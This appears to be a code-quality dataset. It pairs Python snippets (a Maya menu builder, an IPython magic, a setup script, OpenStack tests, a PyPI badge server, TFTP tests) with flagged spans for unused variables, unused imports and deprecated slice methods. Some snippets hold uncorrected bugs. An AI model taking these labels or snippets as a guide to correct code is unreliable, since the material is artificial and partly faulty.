[ { "span": "def __delslice__(*args, **kwargs):", "start_line": 544, "start_column": 4, "end_line": 544, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 562, "start_column": 4, "end_line": 562, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 636, "start_column": 4, "end_line": 636, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 878, "start_column": 4, "end_line": 878, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 896, "start_column": 4, "end_line": 896, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 970, "start_column": 4, "end_line": 970, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 1712, "start_column": 4, "end_line": 1712, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 1730, "start_column": 4, "end_line": 1730, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 1804, "start_column": 4, "end_line": 1804, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 1906, "start_column": 4, "end_line": 1906, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 1924, "start_column": 4, "end_line": 1924, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 1998, "start_column": 4, "end_line": 1998, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 2280, "start_column": 4, "end_line": 2280, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 2298, "start_column": 4, "end_line": 2298, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 2372, "start_column": 4, "end_line": 2372, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 3412, "start_column": 4, "end_line": 3412, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 3430, "start_column": 4, "end_line": 3430, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 3504, "start_column": 4, "end_line": 3504, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 4349, "start_column": 4, "end_line": 4349, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 4367, "start_column": 4, "end_line": 4367, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 4441, "start_column": 4, "end_line": 4441, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 5076, "start_column": 4, "end_line": 5076, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 5094, "start_column": 4, "end_line": 5094, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 5168, "start_column": 4, "end_line": 5168, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 5270, "start_column": 4, "end_line": 5270, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 5288, "start_column": 4, "end_line": 5288, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 5362, "start_column": 4, "end_line": 5362, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 5501, "start_column": 4, "end_line": 5501, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 5519, "start_column": 4, "end_line": 5519, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 5593, "start_column": 4, "end_line": 5593, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 5742, "start_column": 4, "end_line": 5742, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 5760, "start_column": 4, "end_line": 5760, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 5834, "start_column": 4, "end_line": 5834, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 11471, "start_column": 4, "end_line": 11471, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 11489, "start_column": 4, "end_line": 11489, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 11563, "start_column": 4, "end_line": 11563, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 12269, "start_column": 4, "end_line": 12269, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 12287, "start_column": 4, "end_line": 12287, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 12361, "start_column": 4, "end_line": 12361, "end_column": 38 }, { "span": "def __delslice__(*args, **kwargs):", "start_line": 12463, "start_column": 4, "end_line": 12463, "end_column": 38 }, { "span": "def __getslice__(*args, **kwargs):", "start_line": 12481, "start_column": 4, "end_line": 12481, "end_column": 38 }, { "span": "def __setslice__(*args, **kwargs):", "start_line": 12555, "start_column": 4, "end_line": 12555, "end_column": 38 } ]

[]

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"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "x", ".\\u", "\\u", "gets", "lice", "\\u\\u", "(", "i", ",", " ", "j", ")", " ", "<=", "=>", " ", "x", "[", "i", ":", "j", "]", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "of", " ", "negati", "ve", " ", "indice", "s", " ", "is", " ", "not", " ", "support", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "MD", "ou", "ble", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "sets", "lice", "\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", 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[ { "content": "def buildRecentFileMenu():\n\n if \"RecentFilesList\" not in core.optionVar:\n return\n\n # get the list\n RecentFilesList = core.optionVar[\"RecentFilesList\"]\n nNumItems = len(RecentFilesList)\n RecentFilesMaxSize = core.optionVar[\"RecentFilesMaxSize\"]\n\n# # check if there are too many items in the list\n# if (RecentFilesMaxSize < nNumItems):\n#\n# #if so, truncate the list\n# nNumItemsToBeRemoved = nNumItems - RecentFilesMaxSize\n#\n# #Begin removing items from the head of the array (least recent file in the list)\n# for ($i = 0; $i < $nNumItemsToBeRemoved; $i++):\n#\n# core.optionVar -removeFromArray \"RecentFilesList\" 0;\n#\n# RecentFilesList = core.optionVar[\"RecentFilesList\"]\n# nNumItems = len($RecentFilesList);\n\n\n # The RecentFilesTypeList optionVar may not exist since it was\n # added after the RecentFilesList optionVar. If it doesn't exist,\n # we create it and initialize it with a guess at the file type\n if nNumItems > 0 :\n if \"RecentFilesTypeList\" not in core.optionVar:\n core.mel.initRecentFilesTypeList( RecentFilesList )\n\n RecentFilesTypeList = core.optionVar[\"RecentFilesTypeList\"]\n\n\n #toNativePath\n # first, check if we are the same.", "metadata": "root.buildRecentFileMenu", "header": "['module', '___EOS___']", "index": 273 }, { "content": "def open_completer(self, event):\n relpath = event.symbol\n #print event # dbg\n if '-b' in event.line:\n # return only bookmark completions\n bkms = self.db.get('bookmarks',{})\n return bkms.keys()\n\n\n if event.symbol == '-':\n print \"completer\"\n width_dh = str(len(str(len(ip.user_ns['_sh']) + 1)))\n print width_dh\n # jump in directory history by number\n fmt = '-%0' + width_dh +'d [%s]'\n ents = [ fmt % (i,s) for i,s in enumerate(ip.user_ns['_sh'])]\n if len(ents) > 1:\n return ents\n return []\n\n raise IPython.ipapi.TryNext", "metadata": "root.open_completer", "header": "['module', '___EOS___']", "index": 311 }, { "content": "def magic_open(self, parameter_s=''):\n \"\"\"Change the current working directory.\n\n This command automatically maintains an internal list of directories\n you visit during your IPython session, in the variable _sh. The\n command %dhist shows this history nicely formatted. You can also\n do 'cd -<tab>' to see directory history conveniently.\n\n Usage:\n\n openFile 'dir': changes to directory 'dir'.\n\n openFile -: changes to the last visited directory.\n\n openFile -<n>: changes to the n-th directory in the directory history.\n\n openFile --foo: change to directory that matches 'foo' in history\n\n openFile -b <bookmark_name>: jump to a bookmark set by %bookmark\n (note: cd <bookmark_name> is enough if there is no\n directory <bookmark_name>, but a bookmark with the name exists.)\n 'cd -b <tab>' allows you to tab-complete bookmark names.\n\n Options:\n\n -q: quiet. Do not print the working directory after the cd command is\n executed. By default IPython's cd command does print this directory,\n since the default prompts do not display path information.\n\n Note that !cd doesn't work for this purpose because the shell where\n !command runs is immediately discarded after executing 'command'.\"\"\"\n\n parameter_s = parameter_s.strip()\n #bkms = self.shell.persist.get(\"bookmarks\",{})\n\n oldcwd = os.getcwd()\n numcd = re.match(r'(-)(\\d+)$',parameter_s)\n # jump in directory history by number\n if numcd:\n nn = int(numcd.group(2))\n try:\n ps = ip.ev('_sh[%d]' % nn )\n except IndexError:\n print 'The requested directory does not exist in history.'\n return\n else:\n opts = {}\n# elif parameter_s.startswith('--'):\n# ps = None\n# fallback = None\n# pat = parameter_s[2:]\n# dh = self.shell.user_ns['_sh']\n# # first search only by basename (last component)\n# for ent in reversed(dh):\n# if pat in os.path.basename(ent) and os.path.isdir(ent):\n# ps = ent\n# break\n#\n# if fallback is None and pat in ent and os.path.isdir(ent):\n# fallback = ent\n#\n# # if we have no last part match, pick the first full path match\n# if ps is None:\n# ps = fallback\n#\n# if ps is None:\n# print \"No matching entry in directory history\"\n# return\n# else:\n# opts = {}\n\n\n else:\n #turn all non-space-escaping backslashes to slashes,\n # for c:\\windows\\directory\\names\\\n parameter_s = re.sub(r'\\\\(?! )','/', parameter_s)\n opts,ps = self.parse_options(parameter_s,'qb',mode='string')\n\n # jump to previous\n if ps == '-':\n try:\n ps = ip.ev('_sh[-2]' % nn )\n except IndexError:\n raise UsageError('%cd -: No previous directory to change to.')\n# # jump to bookmark if needed\n# else:\n# if not os.path.exists(ps) or opts.has_key('b'):\n# bkms = self.db.get('bookmarks', {})\n#\n# if bkms.has_key(ps):\n# target = bkms[ps]\n# print '(bookmark:%s) -> %s' % (ps,target)\n# ps = target\n# else:\n# if opts.has_key('b'):\n# raise UsageError(\"Bookmark '%s' not found. \"\n# \"Use '%%bookmark -l' to see your bookmarks.\" % ps)\n\n # at this point ps should point to the target dir\n if ps:\n ip.ex( 'openFile(\"%s\", f=1)' % ps )", "metadata": "root.magic_open", "header": "['module', '___EOS___']", "index": 468 } ]

[ { "span": "RecentFilesMaxSize ", "start_line": 281, "start_column": 4, "end_line": 281, "end_column": 22 }, { "span": "RecentFilesTypeList ", "start_line": 305, "start_column": 8, "end_line": 305, "end_column": 27 }, { "span": "relpath ", "start_line": 312, "start_column": 4, "end_line": 312, "end_column": 11 }, { "span": "oldcwd ", "start_line": 503, "start_column": 4, "end_line": 503, "end_column": 10 }, { "span": "opts ", "start_line": 514, "start_column": 12, "end_line": 514, "end_column": 16 } ]

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[ { "content": " def getPrompt(self, prompt, defaultValue=None):\n try:\n if defaultValue:\n user_input = raw_input(\"%s [%s] : \" % (prompt, defaultValue)).strip()\n if user_input == '':\n return defaultValue\n else:\n return user_input\n else:\n input = False\n while not input:\n user_input = raw_input(\"%s : \" % prompt).strip()\n if user_input != '':\n input = True\n return user_input\n except KeyboardInterrupt:\n sys.exit()\n except:\n return None", "metadata": "root.Setup.getPrompt", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 995 }, { "content": " def setup_init_scripts(self):\n if self.os_type in ['centos', 'redhat', 'fedora'] and self.os_initdaemon == 'systemd':\n script_name = os.path.split(self.tomcat_template_centos7)[-1]\n dest_folder = os.path.dirname(self.tomcat_service_centos7)\n try:\n self.copyFile(self.tomcat_template_centos7, dest_folder)\n self.run([\"chmod\", \"755\", self.tomcat_service_centos7])\n self.run([self.tomcat_service_centos7, \"install\"])\n except:\n self.logIt(\"Error copying script file %s to %s\" % (self.tomcat_template_centos7, dest_folder))\n self.logIt(traceback.format_exc(), True)\n else:\n for init_file in self.init_files:\n try:\n script_name = os.path.split(init_file)[-1]\n self.copyFile(init_file, \"/etc/init.d\")\n self.run([\"chmod\", \"755\", \"/etc/init.d/%s\" % script_name])\n except:\n self.logIt(\"Error copying script file %s to /etc/init.d\" % init_file)\n self.logIt(traceback.format_exc(), True)\n\n if self.os_type in ['centos', 'redhat', 'fedora']:\n for service in self.redhat_services:\n self.run([\"/sbin/chkconfig\", service, \"on\"])\n elif self.os_type in ['ubuntu', 'debian']:\n self.run([\"/usr/sbin/update-rc.d\", 'tomcat', 'start', '50', '3', \".\"])\n for service in self.debian_services:\n self.run([\"/usr/sbin/update-rc.d\", service, 'enable'])", "metadata": "root.Setup.setup_init_scripts", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1687 } ]

[ { "span": "input ", "start_line": 1008, "start_column": 24, "end_line": 1008, "end_column": 29 }, { "span": "script_name ", "start_line": 1689, "start_column": 16, "end_line": 1689, "end_column": 27 } ]

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[ { "content": " def test_url_for(self):\n url = api_base.url_for(self.request, 'image')\n self.assertEqual('http://public.glance.example.com:9292/v1', url)\n\n url = api_base.url_for(self.request, 'image', endpoint_type='adminURL')\n self.assertEqual('http://admin.glance.example.com:9292/v1', url)\n\n url = api_base.url_for(self.request, 'compute')\n self.assertEqual('http://public.nova.example.com:8774/v2', url)\n\n url = api_base.url_for(self.request, 'compute',\n endpoint_type='adminURL')\n self.assertEqual('http://admin.nova.example.com:8774/v2', url)\n\n url = api_base.url_for(self.request, 'volumev2')\n self.assertEqual('http://public.nova.example.com:8776/v2', url)\n\n url = api_base.url_for(self.request, 'volumev2',\n endpoint_type=\"internalURL\")\n self.assertEqual('http://int.nova.example.com:8776/v2', url)\n\n url = api_base.url_for(self.request, 'volumev2',\n endpoint_type='adminURL')\n self.assertEqual('http://admin.nova.example.com:8776/v2', url)\n\n self.assertNotIn('notAnApi', self.request.user.service_catalog,\n 'Select a new nonexistent service catalog key')\n with self.assertRaises(exceptions.ServiceCatalogException):\n url = api_base.url_for(self.request, 'notAnApi')\n\n self.request.user.services_region = \"RegionTwo\"\n url = api_base.url_for(self.request, 'compute')\n self.assertEqual('http://public.nova2.example.com:8774/v2', url)\n\n self.request.user.services_region = \"RegionTwo\"\n url = api_base.url_for(self.request, 'compute',\n endpoint_type='adminURL')\n self.assertEqual('http://admin.nova2.example.com:8774/v2', url)\n\n self.request.user.services_region = \"RegionTwo\"\n with self.assertRaises(exceptions.ServiceCatalogException):\n url = api_base.url_for(self.request, 'image')\n\n self.request.user.services_region = \"bogus_value\"\n url = api_base.url_for(self.request, 'identity',\n endpoint_type='adminURL')\n self.assertEqual('http://admin.keystone.example.com:35357/v2.0', url)\n\n self.request.user.services_region = \"bogus_value\"\n with self.assertRaises(exceptions.ServiceCatalogException):\n url = api_base.url_for(self.request, 'image')", "metadata": "root.ApiHelperTests.test_url_for", "header": "['class', 'ApiHelperTests', '(', 'test', '.', 'TestCase', ')', ':', '___EOS___']", "index": 190 } ]

[ { "span": "url ", "start_line": 240, "start_column": 12, "end_line": 240, "end_column": 15 } ]

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[ { "content": "try:\n from StringIO import StringIO as BytesIO\nexcept ImportError:\n from io import BytesIO\n\nimport gc\nimport hashlib\nimport json\nimport mimetypes\nimport os\nimport re\nimport time\n\ntry:\n from urllib import quote as urllib_quote\nexcept ImportError: # python3\n from urllib.parse import quote as urllib_quote\n\nfrom klein import Klein\nfrom redis import Redis\nimport requests\nfrom yarg.package import json2package\n\n\nPYPI_URL = \"https://pypi.python.org/pypi/%s/json\"\nSHIELD_URL = \"http://img.shields.io/badge/%s-%s-%s.%s\"\n# SHIELD_URL = \"http://localhost:9000/badge/%s-%s-%s.%s\" # pypip.in uses a local version of img.shields.io\nFILE_CACHE = \"/tmp/shields.py/\"\nCACHE_TIME = (60 * 60) * 24 # 24 hours\nREDIS_EXPIRE = 60 * 10 # 10 minutes\n\napp = Klein()\nredis = Redis()\n\n\n\n\n\n\nintword_converters = (\n (3, lambda number: format_number('%(value).1fk', number)),\n (6, lambda number: format_number('%(value).1fM', number)),\n (9, lambda number: format_number('%(value).1fB', number)),\n)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ngenerators = {\n 'd': DownloadHandler,\n 'download': DownloadHandler,\n 'v': VersionHandler,\n 'version': VersionHandler,\n 'wheel': WheelHandler,\n 'egg': EggHandler,\n 'license': LicenseHandler,\n 'format': FormatHandler,\n 'py_versions': PythonVersionsHandler,\n 'implementation': ImplementationHandler,\n 'status': StatusHandler,\n}\n\n\n\n\nif __name__ == '__main__':\n if not os.path.exists(FILE_CACHE):\n os.mkdir(FILE_CACHE)\n if '.svg' not in mimetypes.types_map:\n mimetypes.add_type(\"image/svg+xml\", \".svg\")\n app.run(\"localhost\", 8888)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def format_number(singular, number):\n value = singular % {'value': number}\n # Get rid of the .0 but keep the other decimals\n return value.replace('.0', '')", "metadata": "root.format_number", "header": "['module', '___EOS___']", "index": 35 }, { "content": "def escape_shield_query(text):\n \"\"\"Escape text to be inserted in a shield API request.\"\"\"\n text = urllib_quote(text, safe=' ')\n text = text.replace('_', '__')\n text = text.replace(' ', '_')\n text = text.replace('-', '--')\n return text", "metadata": "root.escape_shield_query", "header": "['module', '___EOS___']", "index": 41 }, { "content": "class PypiHandler(object):\n '''Get the pypi json data for the package, and process.'''\n shield_subject = None\n request = None\n format = 'svg'\n cacheable = False\n\n\n\n", "metadata": "root.PypiHandler", "header": "['module', '___EOS___']", "index": 57 }, { "content": " def get(self, request, package, format, *args, **kwargs):\n self.request = request\n self.format = format\n url = PYPI_URL % package\n r_data = redis.get(package)\n if r_data:\n self.package = json2package(r_data)\n return self.handle_package_data()\n try:\n response = requests.get(url)\n response.raise_for_status()\n except requests.exceptions.HTTPError as e:\n self.shield_subject = 'error'\n return self.write_shield('error', 'red')\n else:\n redis.set(package, response.content)\n redis.expire(package, REDIS_EXPIRE)\n self.package = json2package(response.content)\n return self.handle_package_data()", "metadata": "root.PypiHandler.get", "header": "['class', 'PypiHandler', '(', 'object', ')', ':', '___EOS___']", "index": 64 }, { "content": " def handle_package_data(self):\n '''Look at the pypi data and decide what text goes on the badge.'''\n raise NotImplementedError", "metadata": "root.PypiHandler.handle_package_data", "header": "['class', 'PypiHandler', '(', 'object', ')', ':', '___EOS___']", "index": 84 }, { "content": " def hash(self, url):\n return hashlib.md5(url).hexdigest()", "metadata": "root.PypiHandler.hash", "header": "['class', 'PypiHandler', '(', 'object', ')', ':', '___EOS___']", "index": 88 }, { "content": " def write_shield(self, status, colour='brightgreen'):\n '''Obtain and write the shield to the response.'''\n shield_url = SHIELD_URL % (\n self.shield_subject,\n status,\n colour,\n self.format,\n )\n style = self.request.args.get('style', 'flat')\n if style is not None and style[0] in ['flat', 'flat-square', 'plastic' ]:\n style = style[0]\n shield_url += \"?style={0}\".format(style)\n shield_url = shield_url.replace(\" \", \"_\")\n\n ihash = self.hash(shield_url)\n cache = os.path.join(FILE_CACHE, ihash)\n if os.path.exists(cache) and self.cacheable:\n mtime = os.stat(cache).st_mtime + CACHE_TIME\n if mtime > time.time():\n return open(cache).read()\n\n shield_response = requests.get(shield_url, stream=True)\n img = BytesIO()\n for chunk in shield_response.iter_content(1024):\n if not chunk:\n break\n img.write(chunk)\n if self.cacheable:\n with open(cache, 'w') as ifile:\n img.seek(0)\n ifile.write(img.read())\n img.seek(0)\n return img.read()", "metadata": "root.PypiHandler.write_shield", "header": "['class', 'PypiHandler', '(', 'object', ')', ':', '___EOS___']", "index": 91 }, { "content": "class DownloadHandler(PypiHandler):\n shield_subject = 'downloads'\n\n # Pretty much taken straight from Django\n", "metadata": "root.DownloadHandler", "header": "['module', '___EOS___']", "index": 126 }, { "content": " def intword(self, value):\n try:\n value = int(value)\n except (TypeError, ValueError):\n return value\n\n if value < 1000:\n return str(value)\n\n for exponent, converters in intword_converters:\n large_number = 10 ** exponent\n if value < large_number * 1000:\n new_value = value / float(large_number)\n return converters(new_value)", "metadata": "root.DownloadHandler.intword", "header": "['class', 'DownloadHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 130 }, { "content": " def handle_package_data(self):\n period = self.request.args.get('period', 'month')\n if isinstance(period, list):\n period = period[0]\n if period not in ('day', 'week', 'month'):\n period = 'month'\n downloads = getattr(self.package.downloads, period)\n downloads = self.intword(downloads)\n pperiod = \"%s/%s\" % (downloads, period)\n return self.write_shield(pperiod)", "metadata": "root.DownloadHandler.handle_package_data", "header": "['class', 'DownloadHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 145 }, { "content": "class VersionHandler(PypiHandler):\n shield_subject = 'pypi'\n", "metadata": "root.VersionHandler", "header": "['module', '___EOS___']", "index": 157 }, { "content": " def handle_package_data(self):\n text = self.request.args.get('text', 'pypi')\n if text[0] in ('pypi', 'version'):\n self.shield_subject = text[0]\n return self.write_shield(self.package.latest_release_id.replace('-', '--'))", "metadata": "root.VersionHandler.handle_package_data", "header": "['class', 'VersionHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 160 }, { "content": "class WheelHandler(PypiHandler):\n shield_subject = 'wheel'\n cacheable = True\n", "metadata": "root.WheelHandler", "header": "['module', '___EOS___']", "index": 167 }, { "content": " def handle_package_data(self):\n has_wheel = self.package.has_wheel\n wheel_text = \"yes\" if has_wheel else \"no\"\n colour = \"brightgreen\" if has_wheel else \"red\"\n return self.write_shield(wheel_text, colour)", "metadata": "root.WheelHandler.handle_package_data", "header": "['class', 'WheelHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 171 }, { "content": "class EggHandler(PypiHandler):\n shield_subject = 'egg'\n cacheable = True\n", "metadata": "root.EggHandler", "header": "['module', '___EOS___']", "index": 178 }, { "content": " def handle_package_data(self,):\n has_egg = self.package.has_egg\n egg_text = \"yes\" if has_egg else \"no\"\n colour = \"red\" if has_egg else \"brightgreen\"\n return self.write_shield(egg_text, colour)", "metadata": "root.EggHandler.handle_package_data", "header": "['class', 'EggHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 182 }, { "content": "class FormatHandler(PypiHandler):\n shield_subject = 'format'\n cacheable = True\n", "metadata": "root.FormatHandler", "header": "['module', '___EOS___']", "index": 189 }, { "content": " def handle_package_data(self):\n has_egg = self.package.has_egg\n colour = \"yellow\"\n text = \"source\"\n text = \"egg\" if has_egg else text\n colour = \"red\" if has_egg else colour\n has_wheel = self.package.has_wheel\n text = \"wheel\" if has_wheel else text\n colour = \"brightgreen\" if has_wheel else colour\n return self.write_shield(text, colour)", "metadata": "root.FormatHandler.handle_package_data", "header": "['class', 'FormatHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 193 }, { "content": "class LicenseHandler(PypiHandler):\n shield_subject = 'license'\n cacheable = True\n\n", "metadata": "root.LicenseHandler", "header": "['module', '___EOS___']", "index": 205 }, { "content": " def get_license(self):\n '''Get the package license.'''\n if self.package.license and '\\n' not in self.package.license and \\\n self.package.license.upper() != 'UNKNOWN':\n return self.package.license\n if self.package.license_from_classifiers:\n return self.package.license_from_classifiers\n return \"unknown\"", "metadata": "root.LicenseHandler.get_license", "header": "['class', 'LicenseHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 209 }, { "content": " def handle_package_data(self):\n license = self.get_license()\n license = escape_shield_query(license)\n colour = \"blue\" if license != \"unknown\" else \"red\"\n return self.write_shield(license, colour)", "metadata": "root.LicenseHandler.handle_package_data", "header": "['class', 'LicenseHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 218 }, { "content": "class PythonVersionsHandler(PypiHandler):\n shield_subject = 'python'\n cacheable = True\n\n", "metadata": "root.PythonVersionsHandler", "header": "['module', '___EOS___']", "index": 225 }, { "content": " def get_versions(self):\n \"\"\"\"\n Get supported Python versions\n \"\"\"\n if not isinstance(self.package.classifiers, list) and \\\n not len(self.package.classifiers) > 0:\n return \"none found\"\n cs = self.package.python_versions\n cs = sorted(set(cs))\n if not len(cs) > 0:\n # assume 2.7\n return \"2.7\"\n return cs", "metadata": "root.PythonVersionsHandler.get_versions", "header": "['class', 'PythonVersionsHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 229 }, { "content": " def handle_package_data(self):\n versions = self.get_versions()\n if not isinstance(versions, list):\n return self.write_shield(versions, 'blue')\n return self.write_shield(\", \".join(versions), 'blue')", "metadata": "root.PythonVersionsHandler.handle_package_data", "header": "['class', 'PythonVersionsHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 243 }, { "content": "class ImplementationHandler(PypiHandler):\n shield_subject = 'implementation'\n cacheable = True\n\n", "metadata": "root.ImplementationHandler", "header": "['module', '___EOS___']", "index": 250 }, { "content": " def get_implementations(self):\n \"\"\"\"\n Get supported Python implementations\n \"\"\"\n cs = self.package.python_implementations\n cs = [c.lower() for c in cs]\n if not len(cs) > 0:\n # assume CPython\n return 'cpython'\n return cs", "metadata": "root.ImplementationHandler.get_implementations", "header": "['class', 'ImplementationHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 254 }, { "content": " def handle_package_data(self):\n versions = self.get_implementations()\n if not isinstance(versions, list):\n return self.write_shield(versions, 'blue')\n return self.write_shield(\", \".join(versions), 'blue')", "metadata": "root.ImplementationHandler.handle_package_data", "header": "['class', 'ImplementationHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 265 }, { "content": "class StatusHandler(PypiHandler):\n shield_subject = 'status'\n cacheable = True\n\n", "metadata": "root.StatusHandler", "header": "['module', '___EOS___']", "index": 272 }, { "content": " def get_status(self):\n if not isinstance(self.package.classifiers, list) and \\\n not len(self.package.classifiers) > 0:\n return \"none found\"\n for classifier in self.package.classifiers:\n if classifier.startswith(\"Development Status\"):\n bits = classifier.split(' :: ')\n return bits[1].split(' - ')\n return \"1\", \"unknown\"", "metadata": "root.StatusHandler.get_status", "header": "['class', 'StatusHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 276 }, { "content": " def handle_package_data(self):\n statuses = {'1': 'red', '2': 'red', '3': 'red', '4': 'yellow',\n '5': 'brightgreen', '6': 'brightgreen', '7': 'red'}\n code, status = self.get_status()\n status = status.lower().replace('-', '--')\n status = \"stable\" if status == \"production/stable\" else status\n return self.write_shield(status, statuses[code])", "metadata": "root.StatusHandler.handle_package_data", "header": "['class', 'StatusHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 286 }, { "content": "@app.route('/<string:generator>/<string:package>/badge.<string:extension>')\ndef shield(request, generator, package, extension):\n gc.collect()\n ext = mimetypes.types_map[\".{0}\".format(extension)]\n request.headers.update({'content-type': ext})\n klass = generators[generator]()\n img = klass.get(request, package, extension)\n return img", "metadata": "root.shield", "header": "['module', '___EOS___']", "index": 310 } ]

[ { "span": "import json", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 11 }, { "span": "import re", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 9 } ]

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[ { "content": " def test_add_get(self):\n table = ConversationTable()\n conversation = StubConversation()\n table.add_conversation(\"127.0.0.1\", \"3942\", conversation)\n self.assertEqual(table.get_conversation(\"127.0.0.1\", \"3942\"),\n conversation)\n self.assertTrue(table.lock._RLock__count == 0)", "metadata": "root.TestConversationTable.test_add_get", "header": "['class', 'TestConversationTable', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 13 }, { "content": " def test_get_without_add(self):\n table = ConversationTable()\n self.assertIsNone(table.get_conversation(\"127.0.0.1\", \"3942\"))\n self.assertTrue(table.lock._RLock__count == 0)", "metadata": "root.TestConversationTable.test_get_without_add", "header": "['class', 'TestConversationTable', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 21 }, { "content": " def test_add_delete(self):\n table = ConversationTable()\n conversation = StubConversation()\n table.add_conversation(\"127.0.0.1\", \"3942\", conversation)\n self.assertTrue(table.delete_conversation(\"127.0.0.1\", \"3942\"))\n self.assertIsNone(table.get_conversation(\"127.0.0.1\", \"3942\"))\n self.assertTrue(table.lock._RLock__count == 0)", "metadata": "root.TestConversationTable.test_add_delete", "header": "['class', 'TestConversationTable', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 26 }, { "content": " def test_delete_without_add(self):\n # Seems uninteresting, but this test is useful to defend against\n # exceptions\n table = ConversationTable()\n self.assertEqual(table.delete_conversation(\"127.0.0.1\", \"3942\"),\n False)\n self.assertIsNone(table.get_conversation(\"127.0.0.1\", \"3942\"))\n self.assertTrue(table.lock._RLock__count == 0)", "metadata": "root.TestConversationTable.test_delete_without_add", "header": "['class', 'TestConversationTable', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 34 } ]

